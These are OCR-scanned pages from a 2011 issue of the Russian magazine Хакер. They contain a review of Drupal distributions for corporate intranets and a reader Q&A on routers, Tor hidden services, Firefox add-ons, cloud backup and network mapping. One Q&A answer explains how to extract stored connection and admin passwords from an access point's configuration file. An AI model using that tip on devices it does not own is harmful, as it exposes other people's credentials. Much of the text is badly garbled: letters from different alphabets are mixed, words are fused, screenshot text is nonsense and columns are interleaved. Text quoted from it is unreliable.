2. Блоги. Сегодня ими пользуются все: начиная от простых пользовате­

лей и зака нчивая руководителями крупных компаний. На etheгnet­

nopтaлa x функция благингатакже востребована . Очень часто

функция•блог»являетсяключевойдлявнутреннегопортала .

З. Социальная сеть. Если раньше понятие «социальная сеть>> приме­

нялось исключительно к таким известным п роектам, как Facebook, << ВКонтакте», «Твитте р », то сегодня социальная приправа стала

популярной и на вн утренних ресурсах . Чем крупнее компания, тем

больше ей требуетсяделить пользователей на груnnы, которые (груп­

nы! зачастую могут иметьопределенные связи с другими груnnами .

В итоге получается типичная архитектура социальной сети. Таким

ХАКЕР 10/153/2011

Page 132: Хакер №10 (октябрь 2011)

;.4'J ••*"' ""~"'"""' "" Групnы ATRIUM

fl~ в О •· ""-"'' " ..._ ... ., ••.• Q. • • ,.

8<tuтoyA-

8I'JI'II'!Мrlptl:yi~ICICOfpyAIOIICII-

O.Ati!P~JPI6oп:м no

Гpynna OtAt/18 pap.6oR11 ЦIOI'p8lo!WOI"O o0к-­

nм...souttt1111Cбyxramlptl•

~IICI!OtlloЖ)'IOЩIII~IC_БyxrмttJIIUI

Пм~~~~- 1С C!PIItOЩ"' ПofllfXINT tlllt , kO!OPiofl МC~J)'IOI 1 работе -фllr)'P'IfiiO IC:Cl'J*(OIЩ"K

Cc!pyA~IIOCIIAIIptЩIIII

CoтpyA!tltiiМAIIptiЩIIИ

ФII~Cai'P\'.t­

Ekl._. ........ coтpyAIIIml

Список групп в О реп Atгium

Jot20.U11 32

M1t.2011 1.4 ,_, Jollt.2UI1 21

Эмрмто

J\lllt,:Ю T I 2 ,_,

образом, поддержка социализации-одно из значимых требований,

применяемых к внутренним корпоративным порталам.

4. Календарь+ бизнес-процессы. Одно время в нашей стране

многие систем ны е администраторы для поднятия корпоративных

п о чтовых се рв е ров использовали MS Exchaпge. П о своему о пыту

могу сказать, что для крупных организаций зто отличное решение.

Однако из-за ее стоимости Exchange совсем не по карману средним

организа циям. Я заговорил о Exhange не случайно. В компаниях, в которых мне доводилось работать и где в качестве почтовика был

установлен MS Exchange, достаточно активно использовались

календа ри в MS Outlook. Удобное средство, по з воляющее быстро

спла нировать свой день или орга ни зовать оче редной митинг. С

развитием веб-технологий всё больше компа ни й стали nерено­

сить управление делами в web. Организации, имеющие в с воем распоряжении etheгnet-pecypc, могут возложить на функционал

внутре нн его ресурса ведение календаря, планирование встреч,

составление ТоDо-листов, да и nросто планирова н ие работы под­

разделений/сотрудни ко в . 5. Оперативноепредоставлениеинформации. Какдлямногих

ранее рассмотренных задач, особую ключевую роль играет раз­

мер компании . Чем больше компания, тем труднее организовать

хорош ее взаимодействие с сотрудниками. Публикация задач,

распоряжений, планов и распределение это го пласта информации

определенным лицам !вспомин аем про со циальн ую составляю­

щую]- одна из ключ евых функций внутреннего ресурса .

6. Помощь новеньким сотрудникам . Н овый сот рудни к в компании­

зтоодновременнорадостьиголовнаяболь.Рассказатьструктуру

бизнес-процессов,происходящихвкомпа нии,познакомитьскол­

лективом, объяснить, что где находится,- всё зто требует огром­

но го количества времени. Особо п родви н утые ком пании решают

эту пробл ему при п омощи внутреннего ресурса. Требуется лишь

один раз создать набор nравил , фото графий и других н еобходимых

вещей, чтобы вхождение в коллектив новеньких сотрудников было

максимально п ростым и другим специалистам не требовалосьтра­

тить свое время на предоставление информации, которую новый

сотрудник в состоянии пол учить самостоятельно.

7. Хранилище информации. Централизова нное х ранилище общей

и нфо рмации - мечта каждой компании, и довольно часто эту

функцию возлагают на внутренний корпоратив ный nортал. В

любой компании имеется большое количество общей информа­

ции: распоряжения , требования , правила , графика и т. д . Весь этот

массив данных должен быть хорошо сгруп пирован и досту nен всем

сотрудникам. Внутренний сайт-идеальное место дл я размеще­

ни я всех эти х дан ны х.

В . Help Dеsk.Дан ная функция особенно актуальна для компаний,

которые содержат в своем штате средний по численности IТ-отдел .

Etheгnet-pecypc позволяет всем пользователям в удобной форме

взаимодействовать с !Т-специ алистами и оставлять им заявки. Как

ХАКЕР 10/153/2011

Корпоративный Drupal

правило, зая в ки могут иметь несколько статусов, комме нтариев и

т. д. Вся эта информация может в удобной форме просматриваться

и доступна какдля исполнителей lв данном случае IТ-отдела], так и

для руководства.

В. Форум. Ко рпоративны е форумы nодоб н о обыч ным интернет­

форумам признаны обеспечить людей возможностью общаться на

различные темы. Говоря применительно к внутренним ресу р-

сам, форумы должны предоставлять сотрудникам возможность

общаться на профессиональныетемы. Как показывает практика ,

использова ни е форумов вкупе с живым общением положительно

влияет на рабочий процесс .

Представленный список функций не явл яется исчер пывающим. Здесь

лишь перечислены наиболее востребованны е возможности , и именно

с такими корпорати вн ыми порталами вашему пекарному слуге nри­

ходилось встречаться на nрактике . Зная список задач !требований ],

становится возможным подобратьо птим альное решение .

ПОТОМУ ЧТО DRUPAL! Dгupal всегда славился своей стабильностью, богатыми функцио­

нальными возможностями и безопасностью . Сама система мало чего

умеет, но за счет богатого реnазитария модулей его функци онал можно

допиливать в нужную сторону. Модули в Dгupal- главное его пр еиму­

щества. Во-первых , их оче нь много, а во-вторых -архитектура этой

CMS настолько продумана , что кажды й модуль может вл иять на любой

уча сток системы. Именно позтому D гupal выгодно отличается от ко н­

курентов, ведь благодаря масштабируемой архитектуре функционал

системы может быть не только расширен, н о и переработан. Несмотря

на серьезные плюсы , у Dгupal имеется один большой минус - система

<< ИЗ коробки >> nолностью голая и н а разработку нового решения с нуля

может п отребоваться слишком м н ого времени. Причин тут н есколь­

ко, но сам ые главные из них-опыт и сложность. Dгupal н е похож

на многие системы идеологически , из-за этого приходится с начала

хорош о познакомиться с системой и лишь после этого приступать к

разработке. Именнопоэтомувзятьивоттаксразуразвернутьполно­

це нный в нутренний nортал н а Dгupal нельзя. Н а реализацию всех

п е речисл е нны х выше функций с нуля потребуется много време ни. К

счастью, сообщество не желало мириться с таким п ол ожением дел и

разные его nредставителя представили свои, с nециализированные

сборки Dгupal.

НЕОБЫЧНЫЙ DRUPAL П о численности сообщество у Dгupal просто колосса льн ое. Идеоло­

гия Dгupal всегда п одразумевала, что любую зада чу можно решить

разными с пособами . Н аверное, позтому вариантов решения задачи с

именем <<ко рпоративный портал » также много . Каждый такой вариант

включает в себя:

1. CMS Drupal. Голый Dгupal , кото рый любой желающи й можетска­

чатьсофициального сайта dгuраl.огg .

Upcoming events • Fdltr

nланирование событий в Dгupal Commoпs

гn _. -]с=·__::]

111111 ~::;:=Ofd

Se~rch ...

June

1.1 t W Т F S S

1 2 ] • s е: 1 12 1) 1.4 15 115 11 18 11 20 21 22 23 24 27 28

Recently added events

Noevtntthм~tn addedylt

137

Page 133: Хакер №10 (октябрь 2011)

SYN\ACK

'fi · .. ·· ~ AГRIUM

r- e о ... , .... о, • .

' · · ·~ ( ! - • ........... •

r а " ·

-----,

а

AddGrOtJp

-n....им<-1C .6y.lcr.,ro­

n.w,....,.,.ICCfFoxoщ•

Dashboard в Open Atrium

2. Набор необходимых модулей. Авторы сборок самостоятельно под­бирают/разрабатывают набор необходимых модулей. Готовые мо­

дули в основном берутся из официального репазитария и не редко

подвергаются доработке. Помимо них в состав сборок практически

всегда входят оригинальные плагины , которые недоступны в ре­

позитории . Иногда попадаются очень интересные вещи, их вполне

можноприменитьдлядругихпроектов.

З. Профиль настроек. Готовый профиль позволяет развернуть полно­

стью работоспособный проект. Прим енительно к нашему случаю­

корпоративный портал.

OPENATRIUM http:Uo ре паt гi u m. со m/ OpenAtrium - проект, спе циально ориентирова нны й на создание

внутренних порталов . Многие журналисты в своих обзорах позицио­

нируют О реп Atгium как продукт, предназначенный для управления

проектами. Это ошибочное мнение. Да, в первую очередь Од позицио­

нируется как удобная система для коллективного управления про­

ектами, но ничто не мешает воспользоваться им в качестве платформы

для интранет-портала. В любом случае Од построен на Dгupal, а значит,

всегда можно воспользоваться мощными возможностями Dгupal для

управления контенто м. В связи с зтим Од заслуженно можно считать

законченным решением для развертывания интранет-порталов.

Проект Од достаточ н о молодой. Первая альфа появилась в 2009 г., и

с тех пор п оследовал вагон и маленькая тележка таких же тестовых

версий . Несмотря на статус «альфа>>, Од стал набирать популярность

и применяться для различных проектов. До своей п ервой стабильной

версии (1.0] про е кт дорос лишь в июле этого года.

КЛЮЧЕВЫЕ ВОЗМОЖНОСТИ

Коллективные блоги. Любой пользователь системы Open Atгium имеет возможность вести переанальный б лог. К его услугам все

необходимые блоггеруфичи: теги, удобный wysiwyg-peдaктop,

поддержка комментариев и т. д.

ДОРАБОТКАФУНКЦИОНАЛА

Представленные в обзоре решения полностью готовы к работе,

но вполне возможно, вам потребуется расширить их функционал . П о­

скольку в основе всех систем лежит стандартный Dгupal , становится

возможнымрасширятьфункционалпутемустановкидоnолнительных

модулей из богатого ре пазитория dгupal . oгg/pгoject . Например, тот же

Open Atгium за счетсторонних модулей легко расширяется до системы документооборота.

138

Группы. Все пользователи в системе могут быть разделены/раз­

броса ны по группам. Для каждой груnпы nользователей создается

отдельное рабочее пр остранство .

Календари . Пл анирова н ие событий, организа ция встреч- реше­

ние всех эти х задач возлагается на кал ендари. Внешне календари выглядят симnатично и чем -то напоминают полюбивший ся многим

Google Calendaг. Чат.Дл я общения внутри команды в реальном времени имеется

достаточно шустрый web - based-чaт.

Трекер задач . Трекер помогает организовать ТоDо-листы , раз­

делить все задачи на проекты , расставить приоритеты и передать

созданные задачи определенным пользователям.

Документы.Функцияпозволяеторганизовыватьподшивкидо­

кументов . Вполне с годится для организации простого х ранилища

документов.

Wiki. Дл я определенных задач необходимо иметь возможность

оnеративно го многократного редактирования/создания н овых

страни ц. Эту задачу всегда удобно решать при помощи проверен­

наго временем Wiki. Продуманный интерфейс. Dгuраlвообще -то всегда ругали за

ужасный и нтерфейс ... Реально-если смотреть на чистый Dгupal ,

то в справедливостьэтой максимы становится ле гко поверить. В Од

же интерфейсдовольно хорошо проработан, и с первого взгляда не

скажеш ь, что перед тобой система , построенная на основе Dгupal 'a.

ПОПУЛЯРНЫЕ СБОРКИ DRUPAL

Спе циализированные сборки Dгupal имеются н е только дл я создания

интранет-сайтов . Есть масса други х проектов, созданных на основе

Dгupal . Наиболее популярные из ни х перечислены ниже.

Conference Organizing Distribution ( Ыtp · l/dшpal argipraject/cad]­

полностью готовое решение для быстрого nостроения сайтов­

конференций.Реализованавозможностьрегистрацииучастнико~

добавлениядокладов,а такжеустановкисоциальныхсвязеймежду

участниками. Сборка уже nроверена временем и усnешно исполь ­

зуется дляорганизациитаки хко нференций,какDгuраiLА, Dгuраl

KievCamp. ArrayShift ( Ыtp·Udшpal org/project/arrayshift]-cбopкa заточена на созданиесайта вроде stackaverflaw com . Сборка полностью готова к

работе. и с ее помощью можно быстро развернуть рабочий сайт.

DrupaiSocial Netwrokframework ( Ыtр· UdП!pal argiprojectidsnf install ]

-специальная сборка, предназначенная для построения сайтов­

социальныхсетей.Этусборкунельзя сч итатьnолностьюготовойк

использова н ию, но она дает хороший фундамент для строительства

полноценнойсоциальной сети.

DrupaiBin ( Ыtp-1/dшpal arg/project/dшpalhin]- пакет, предна­

значенный для создания сайтов по обмену/хранению п рограммнаго

кода. На таком сайте любой пользователь можетбыстро опублико­

вать код и получить на него линк. Отличное решение для создания

сниnетовихра нениянайденногокода.

ELMS [ Ыtp-1/dшpal arg/projectielms]- полностью готовая сбо р ка

для разворачивания системы управления обучением (разработка

плана обуче ния , создание с п ециализиров а нны х курсов и т. д . ] .

Сборка включает дл я себя оригинальные модули .

eRecruiter ( Ыtp·iid п 1pal arg/projectirecп 1iterl-дистрибутив для

создания сайтов, ориентированных на поиск работы . Стоит отме­

тить , что в настоящий момент достуnна лишь бета-в ерсия, позтому

создать полноценный сайт для nоиска работы не nолучится. Однако

ничтонемешаетвоспользоватьсяидеямиразработчиковидопи­

литьсистемуподсебя.

Single-use Ыоg [Ыtp · //dшpal argiproject/single 11ser Ыogl- пакет

для созда ния nереанальных благое . Вполне можно рассматривать

как простую альтернативуWогdРгеss.

ХАКЕР 10/153/2011

Page 134: Хакер №10 (октябрь 2011)

_,.1] --н • ~- ,. Гр)'Мьt Отд~nра]работк1•ПО .. ATRIUM

:.1'е "-'. е о ..... о.

Ащет 2011

Симпатичный календарь. Ну чем не GCaleпdar?

Интра-твиттер. Сервис микроблогов <<Твиттера>> стал чертовски

популярен, и его функционал стали использоватьдля решения

различныхзадач [не толькодля бессмысленноготрёпаl. В состав

Од входит модуль, реализующий подобный функционал .

ОБЩИЕ ВПЕЧАТЛЕНИЯ

·'

О реп дtrium -хорошо продуманный и сбалансированный проект.

Он активно развивается, и в нем регулярно исправляют ошибки и

дорабатывают фу н к ци о нал. Функциональные возможности о пять­

таки хороши, и их вполне хватит для организации продвинутого

интранет-портала. Разработчики не поленилисьи добавили в Од

со ци альную при прав у. Внутренний твиттер и гру ппы п омогают

сделать работу более продуктивной и внести чуточку свободы в

рабочий процесс. Радует и <<Тре кер зад ач>>. Дл я многих случаев

его функцианала более чем достаточно, позтому на него вполне

реально переложить у ч ет выполненных/невыполненных задач.

Несмотря на все перечисленные плюсы, дело не обошлось и без

минусов . Точнее, одного минуса. В изначальном виде система не

годится для организации документаобо рота . Многим компаниям в

первую очередь нужна име нн о эт а функция . Если ты делаешь выбор

в пользу Од, то при готовься, что придется п отратить немного време­

ни на доработку. В этом случае времени потребуется действительно

не много, т. к. многие нужные модули уже установлены и настроены.

В остальном нареканий нет- продукт пол н остью справляется с

возложенными на н его обязанностями.

Оценка : 8/1 О.

Community Power8d lnnov8tion

Custolllluyourslle Unlltn11'1eNetwrotk

_ ,.... __ & .. tl.iCOIIOn En-1/IAif ii'N II·IO - ­

'-I.....Ь, I/I ..s.NI IIIr -.~11111 .,.."".".mor~DNpiii!IOCiult._ н•~ & ollotflfl&(tJ II !'OWak.

Happening Пght now ln test

Ou<Community

Drupal Commoпs сразу после установки

ХАКЕР 10/153/2011

flrкll-lllacld­

'-*"·Ofl """"lol-. - t . 81118:11,_111010W!'OW - Le1mmon: Q

Join & leam mont

,'!'.'!-*= · ===-=.:j IВ@"'ШР§Ш

latest featured content

.&. ===--·-Most ective groups

Корпоративный Drupal

~(1 ~·-.,- " Груооы О.д.~лра::.работ,IIПО " ATRIUM

1111'е - ~~ е о - ~ О· --· • ~--~ c--._ ... ,_w;:_,.,._"..,~ • ··--.. ,., =--.oocc.w,.._ • .,.-_,_,..о---­. ,, __ .,., . .__ .. -а .. .--~:-r ~·--~-• .............. :-r~-::..'1/C

R ··--lo<;rfc-....----­c; ··---;\' c..n.,- ....... o.:-;; ,. ..... _".:> , __ _

• ,_._ ....... t.,и ........... __

• ·-.... ~· ".._.,._ -о::r...к-1.-

-----~ =--~­~-РО -..- roA

с---

8 8 8 8

• ln,.• .. ~· ~~ .. ---w-

& ,_ ....... \---. ,_ ...... ~.---.,.._ . ._ ...... :....--"~''• 1!;.,..._10

r:;p •• _ ........ _'-_М.._

Функциональный трекер задач

DRUPAL COMMONS http :Uacq uia.com/dowп loads

Orupal Commoпs не заточен сугубо подсоздание корпорати вныхсайтов .

Главное назначение дистрибутива- разработка социальных сетей и

сайтов сообществ . Однако ничто не мешаетиспользоватьэтот продукт

для разворачивания интранет-порталов . Главное, что Orupal Commoпs

<< социален >> и с разуже готов организоватьсвязи междуучастниками. Со­

циальная направленность-основная особенность ОС. В отличие отОреп

дtгium, разработкой ОС занимается достаточносерьезная ком пания­

дсquiа. Она специализируется на создании профессиональных решений

на базе Oгupal. В портфеле компании имеется несколько готовых реше­

ний, основан ных на Orupai,-Opeп Scho l aг, дcqu i a Oгupal, OpeпPuЫish. О

хорошемкачествепродуктовкомпа ниитакже говорятмногочисленны е

положительные отзывы. Например, та же компания Microsoft рекоменду­

ет использовать продукты Acquia.

КЛЮЧЕВЫЕ ВОЗМОЖНОСТИ

Блоги. Социальная начинка явно повлияла н а качественную реа­

лизацию блогов . Всё реализовано в лучшем виде, и пользоваться

благами чрезвычайно удобно.

Группы/связи.

Wiki.

Кон тент.

Планирование событий .

ОБЩИЕ ВПЕЧАТЛЕНИЯ

Приятная в обращении сборка Orupa l. Развернутьсоциальную сеть с ее

помощью-дело нескольких кликов. Для создания социальных сетей

дистрибутив подходит идеально, однако для полноценного интранет­

портала ОС-возможностей из коробки недостаточно . Тебе придется

скачатьдополнительные модули из репазитария и нараститьфунк­

ционал самостоятельно . В остальном сборка выполнена качественно и

полностьюпригоднадляпостроениясайтовдляразличныхзадач.

Оценка: 5/1 О .

ВЫБОР РЕШЕНИЯ ЗАВЕРШЕН Создать кор порати вный портал на Oгupal возможно. Благодаря с п е­

циализированнымсборкамэтореальносделатьбезособыхнавыковко­

выряния внутренностей Oгupal и совершенно бесплатно. Orupal славится

своей сложностью, но рассмотренные в статье продукты лишний раз

доказывают, что на этой CMS можно сделать практически любой про е кт,

будыо социальная сеть с большим количеством пользователей [а-ля

<<Хабрахабр>>l или внутренние корпоративные порталы. В статье мы рас­

смотрели два наиболееудачных решениядля построения корпоративно­

гопортала . Этонаиболее«готовые»варианты,которыебезопаскиможно

использовать в реальных условиях. На всякий случай мы подготовили

врезку с готовыми решениями на Oгupal 'e. Перечисленныетам решения не

заточены подинтранет-ресурс, однако из ни х можно почерпнуть идеи [на­

звание модулей], а затем применитьих к твоему внутреннемусайту. ::J:

139

Page 135: Хакер №10 (октябрь 2011)

UNITS/FAQ UNITED

FAQ United ЕСТЬ ВОПРОСЫ-ПРИСЫЛАЙ НА FAQri1REAL.XAKEP.RU

r.1 УСТАНОВИЛ В СВОЕМ РОУТЕРЕ .:;.8 ПРОШИВКУОРЕNWRТ, НО, К СОЖАЛЕ­НИЮ, ДЛЯУСТАНОВКИ ПОВЕРХДОПОЛНИ­

ТЕЛЬНЫХ ПРИЛОЖЕНИЙ УЖЕ НЕ ОСТАЛОСЬ МЕСТА. МОДЕЛЬ ИЗ НИЖНЕГО ЦЕНОВОГО

ДИАПАЗОНА, И ФЛЕШ-ПАМЯТИ У НЕЕ ВСЕГО

4 МБ. КАКИМ ОБРАЗОМ МОЖНОУМЕНЬШИТЬ РАЗМЕР ПРОШИВКИ, УДАЛИВ ОТТУДА

ЛИШНЕЕ, ЧТОБЫ ИМЕТЬ НЕКОТОРЫЙ РЕЗЕРВ НА УСТАНОВКУ ДОПОЛНИТЕЛЬНЫХ

ПРИЛОЖЕНИЙ[ХОЧУПОСТАВИТЬСРЕДСТВО ДЛЯ МОНИТОРИНГА)?

n Проще в этой ситуациидействовать на

181 опережение и просто не включать в прошивкутого, чтотебе не нужно. Тем более что в

рамках проекта OpenWRT [ openwгt . oгg )

предлагаетс я специальный сервис lmage

Geneгatoг[Ьit.ly/oWxmJd ) , с nомощью которого

легко собирается собственный вариантfiгmwаге.

Выбрав нужные комnоненты, на выходе ты

nолучишь готовую nрошивку меньшего размера,

которую сможешь как обычно залить в свой роутер.

r.1 ИЗ ТОЧКИ ДОСТУПА НУЖНО ВЫТА­

.:;.8 ЩИТЬ ПАРОЛИ ДЛЯ РРТР/L2ТР­ПОДКЛЮЧЕНИЙ. ГДЕ ОНИ ТАМ ЛЕЖАТ?

n Большинство современных роутеров и

181 точекдоступаnозволяютсохранитьсвои настройки в отдельный файл [и в случае необходи­

мостибыстровосстановить конфигурацию).

Естественно, в этотфайл проnисываются и все

параметры подключений, включая необходимые

данныедля авторизации, а также парольдля

достуnа к админке девайса . Причем nарсить их

вручную нет необходимости , за тебя это сделает

специальная утилита RouteгPassView [www .

niгsoft.net/utils/гouteг passwoгd гесоvегу.

html ). Если в админке па роль nоказывается nод

звездочками, то его можно вытащить с nомощью

другой функции этой утилиты "GгаЬ Passwoгd

Fгom IEWindow". Правда , для этого этустраницу

nридется открыть вlnteгnet Е х рlогег.

r.1 ЕСТЬЗАДАЧА-СДЕЛАТЬWI-FI-.:;.8 ХОТСПОТ, НО С ОПЛАЧИВАЕМЫМ ДОСТУПОМ. ПОДСКАЖИ РЕШЕНИЕ, КАК ЭТО

ЛУЧШЕ РЕАЛИЗОВАТЬ?

n Самая важная часть системы- это

181 контроллер достуnа , который будет проверять , авторизован ли клиент. Отличным и

бесплатным вариантом , который смело можно

использовать, является ChilliSpot [www.

chillispot .info). Как это работает? Когда клиент

nодключается к хотепоту и nытается поnасть на

какой-то сайт в интернете, Chillispot перехваты­

вает DNS-зaпpoc клиента и nроверяет,

авторизован ли он. Если клиент еще не вводит

логин и n а роль, то он nеренаnравляется на

страницу авторизации. Авторизация выполняет­

ся с nомощью любого RADIUS-cepвepa

[например FгeeRadius- www.fгeeгadius . oгg ) .

Если клиент вводит правильный логин и па роль

или был авторизован ранее, ChilliSpot предо­

ставляет ему доступ в Сеть. Все это быстро

поднимается на любой Liпuх-машине.

r.1 ХОЧУЗАЮЗАТЬОДИН ХАКЕРСКИЙ .:;.8 АДДОН В НОВОЙ ВЕРСИИ FIREFOX, НО ТОТ ОТКАЗЫВАЕТСЯУСТАНАВЛИВАТЬСЯ

5 ШАГОВ: ВИЗУАЛИЗИРУЕМ СХЕМУ ЛОКАЛКИ

Естьдоступ влокалку, про которую мне ровным

счетом ничего не известно. Задача- каким-то

образом визуализироватьтопологиюлокальной

сети . То есть не nросто nолучить сnисокдоступ ны х

хостов [это можно сделать банально пmар'ом:

nmap -sl 146.187.130.0/24), а нарисовать схему,

на которой были бы отмечены связи между ними.

Какие для этого есть инструменты?

1 Есть различные сnособы nолучить дан­

ные, необходимые для построения графа,

на котором бы были отмечены связи

между различным хостами сети. Это и исnользо­

вание SNМР-данных, и активное сканирование

хостов [включая tгaceгoute), и nассивный анализ

трафика. Следующие утилиты используют либо

одну из этих техник, либо их комбинацию.

ИЗ-ЗА НАРУШЕНИЯ СОВМЕСТИМОСТИ

ВЕРСИЙ . МОЖНО Л И КАК-ТО ЭТО ОБОЙТИ?

n Новые версии Fiгefox выходят действитель-

181 ночасто.Этогонельзясказатьомногих расширениях, которые когда-то были опубликова­

ны авторами, попали в репозиторий и были

благополучно заброшены. При этом в Fiгefox'e есть

защита от дурака : если в аддонеуказано, что он

совместим только с версией браузера 4.0 [и ниже),

то со свежей 6.0.2 он уже не заработа ет. Действо­

вать в таком случае нужно так:

1. Вспоминаем, чтолюбой .хрi-файл [в этом

форматераспространяютсярасширения

Fiгеfох)- это ziр-архив. Распаковываем его ,

чтобы добраться до внутренних файлов.

2. Ищем среди файлов iпsta ll . гdf и находим вну­

три него секцию "taгgetApplicatioп":

s,em :.:t<н::g_g_'!;ApR].j._c_atiQII_L ____ ------------·-··· <Description> <em: id >{ecвeзef7-c2ea-464f-9bee-

1Зa3a9e97384}</em:id>

~m:JD:!.o.'Ler:~on cl.J3,s,Leт_:miлVer~ioш ____ _ s,_g_m:ПI.<IxVe.r.si.oл.>5.J35.1em.~m<~xY.er~io_o.>___ _ ____ _ </.O,gscгipJ:!.oл2 ________________________________ _ <,_/em:_ti:\cge.t~pplicati.QЛ>

Соответственно, меняем значенияпараметров

miпVeгsion и maxVeгsioп .

3. За паковываем файлы назад в ziр-архив и меня­

ем его расширение на .xpi .

Есть еще один вариант-установить аддон

NightlyTesteгTools [ Ьit. l y/pwWh7c) . Тогда во

EJ LanTopolog [www.lantopo log.com/rus).

Сnе циальны й инструмент для автомати­

ческого nостроения физической тоnоло­

гиисети,котороеис nользует длявизуализации

данные, собранные с коммутаторов no nротокол у

SNMP. Программа наглядно отображает структуру

сети в видедерева коммутаторов и даже распре­

деление комnьютеров no их nортам. Блеск!

ХАКЕР 10 / 153/2011

Page 136: Хакер №10 (октябрь 2011)

время nодключения устаревшегорасширения

ты nолучишь не отказ в установке из-за ошибки

совместимости, а nредложение включить аддон на

свой страх и риск .

r.1 НАЧИНАЮ ИСПОЛЬЗОВАТЬ TOR ПОД 1,;,1 LINUX'OM. ЕСТЬДВА ВАРИАНТА : ПУСТИТЬ ТРАФИК БРАУЗЕРА ЧЕРЕЗ TORIFY [TORIFY FIREFOX) ИЛИ TOR50CK5 [TOR50CK5 FIREFOX). И ТАК И ТАК РАБОТАЕТ. НО ЧТО

ЛУЧШЕ?

n Однозначно toгsocks, nотому что в

181 nротивном случаетвой DN5-трафик будет nередаваться в открытом виде, и зтолегко может

выдать твою сетевую активность.

КАК ЗАПУСТИТЬАНОНИМНЫЙСЕРВИС ЧЕРЕЗТОR?

lr,8 1. Открываем GUI-интерфейсдля 181 уnравленияТог'ом -Vidаliа . 2. Переходим в меню «Sett ings ~ 5eгvices >> .

3. Настраиваем nараметры «Viгt ual Рогt >> ,

<<Тагgеt >> И << Diгe c toгy Path>>. Наnример, так:

Virtual Port: 88 Target: 127.e .e .l :Be or just 127.e.e.l Directory Path: c: \torhs or /hom~/useroamgL torhs

4. Кликаем <<О к >> , далее nереходим обратно в

раздел << 5eгv ice >> и nолучаем .onion-aдpec на­

шегосервиса,nокоторомуонтолькочтостал

до стуnен.

r.1 КАК ПРОЩЕ ВСЕГО РЕАЛИЗОВАТЬ 1,;,1 БЭКАПДАННЫХВОБЛАЧНОЕ ХРАНИЛИЩЕАМАZОN 53?

n Прежде всего хочу наnомнить, что nолучить 181 ресурсы в облаке Amazon можно бесnлатно по nрограммеАW5 Fгее Usage Tieг[aws . amazon.

com/fгee ), nоэтомуза бэкаn данных в 53 необяза­тельнодажеnлатить . Чтокасаетсянеnосред­

ственнореализациирезервногокоnирования,то

для разных ОС достуn ны разные решения.

Windows. Для винды есть немало nодходящих nрограмм , которые сnециализируются на бэкаnе

данных в облако Amazon 53. К сожалению, многие из них nлатные [в том числе CloudBeггyOnline

Ba ckup, www.cloudbeггylab . com ) . Бесnлатные

EJ Nmap nma . о г 1. Известный сетевой сканеримеетвсвоемарсеналенетолько

несколькотехникдля nолучениясnисках

хосто в . Официальная GUI-оболочка Zenmap nре­доставляетвозможностьnостроения тоnологии

локальной сети. Для nолучения графа с отображе­

нием связей между хостами сканер обязательно

должен бытьзаnущен с ключом << ----traceгoute>>.

ХАКЕР 10/153/2011

FAQUNITED

ЭМУЛИРУЕМ ПЛОХИЕУСЛОВИЯ СВЯЗИ

ПИШУМОБИЛЬНОЕ ПРИЛОЖЕНИ Е , КОТОРОЕ, ВЕРОЯТНО, БУДЕТРАБОТАТЬ

В УСЛОВИЯХНЕСТАБИЛЬНОГО СОЕДИНЕНИЯ. ЕСТЬ ЛИ ПРОГРАММЫ,

КОТОРЫЕ ПОЗВОЛЯЮТ ЭМУЛИРОВАТЬ ПРОБЛЕМЫ СВЯЗИ?

Раз есть инструменты, nозволяющие эмулировать высокую на грузкуна веб-сервисы,

чтобы nроверить , смогут ли они выдержать nиковые нагрузки [когда nользовате-

лей очень много), вnолне можно nредnоложить , что есть решения, nозволяющие

имитировать nробл емы связи. Задача особенно актуальна для разработчиков мобильных

nриложений, которые работают nо нестабильным EDGE-, GPRS-, 3G-соединениям, в зонах с разным уровнем nокрытия сети . Ситуа ция усугубляется еще и тем, что у каждого сотового

оnератора свои настройки сетевого стека и они могутсильно отличаться от рекомендованных

[уменьшенными тайм-аутами и т. n.l. Если взятьХСоdе [developeг.apple . com/technologies/tools l,

среду разработки nриложенийдля iPhone/i Pad, то в нем nодобная функциональность вклю­чена из коробки. Фича называется <<Ne twoгk Link Conditioner>> и nо з воляет в несколько кликов

искусственно воссоздатьусловия nроблемного соединения. Под Windows есть аналогичный инструмент-SоftРегfесt Connection Emulatoг [www. softpeгfect .com l: он функциональный, но

nлатный . Чаще всего будет достаточно бесnлатной утилиты TMnetSim Netwoгk 5imulatoг [www. tmuгgent .com/tools .aspx l. В ней нет nреднастроенных nрофилей, но любые nараметры сете­

вого nодключения [nроцент nотерь, задержки и так далее) ле гко задаются через удобный GUI­интерфей с . Причем такиеусловия задают для оnределенных nортов [наnример, SQLSeгveг'al.

Многие разработчикитакже рекомендуют npoeктWANem [wanem .souгcefoгge . net l. Это

основанный на Knoppix LivеСD-дистрибутив, nозволяющий эмулировать различные условия nодключениядля нескольких комnьютеров сразучерез удобный веб-интерфейс . Исnользо­

вание именно LiveCD не всегда удобно, но ничто не мешаетзаnуститьсистему на виртуальной машине [наnример, бесnлатном ViгtuaiBoxl и исnользовать ее функционал.

Pte~tt Prohle~

• Downllnk

Network Llnk

ЗС , дvtragt Cast ЗС , Cood Conntct ivity ЗС , LOISY ttwork С.Ьiе Modem DSL

Condltloner P..cktts Dtopl)fd: еж Dtt.ltf,: l mJ

Upllnk l&nctМd(h J1 мЬрs

P.acktti 0tOC)Md ~ Dtt.y.1 m.\

Okk the lodt to make c.Nngu . M1nagt Profilts ..•

В Network Link Conditioner есть несколько nреднастроенных nрофилей для тестирования различныхтиnов соединения: например, ЗG в зоне уверенного и неуверенноrо приема. Любой из них можно подстроить под себя, изменяя величину задержки, nотерянных nа кетов или других nараметров

'

гumint гumint .oг 1. Данная утилита не выnолняетактивное сканирование, а ис­

nользует для визуализации данные , ко­

торы еу тебя уже есть. Данные для визуализации

тоnологии сети извлекаютсяв реальном времени

с nомощью встроенного с нифера или же из РСАР­

файла с ранее nерехваченным трафи ком . При этом

для визуализации достуnны разные виды.

5 NetCгunch [www.adгemsoft .com l. Эта

nрофессиональная ту л за самостоятель­

но сканируетзаданный тобой диаnазон

IР-адресов, ищет различное сетевое оборудова­

ни е, комnьютеры, заnущенны е на ни х сервис ы

и так далее, а nотом выдает результаты своих

изы сканий в удобном для восnриятия виде. Ото­

бражаются логические и физические связи!

Page 137: Хакер №10 (октябрь 2011)

UNITS/FAQ UNITED

Welcome to CloudВerry Online Backup

О Rutore Вidwp

157.4 мв ...... """""

1) М\dows ВЮ~uр {regiltry, "" Sch&!d..r.AtS:19PМit'IИ)'d.t, stвrt

1) ~pOocutмrlt:s

sehe0Je: ~1011n.<te&) ftoмS: 2

-J

~~--- [] 1Ж1

l ~fiil~ ~~iJ -'J 1 Вlе ~dit :ijew Qptions t:!.~

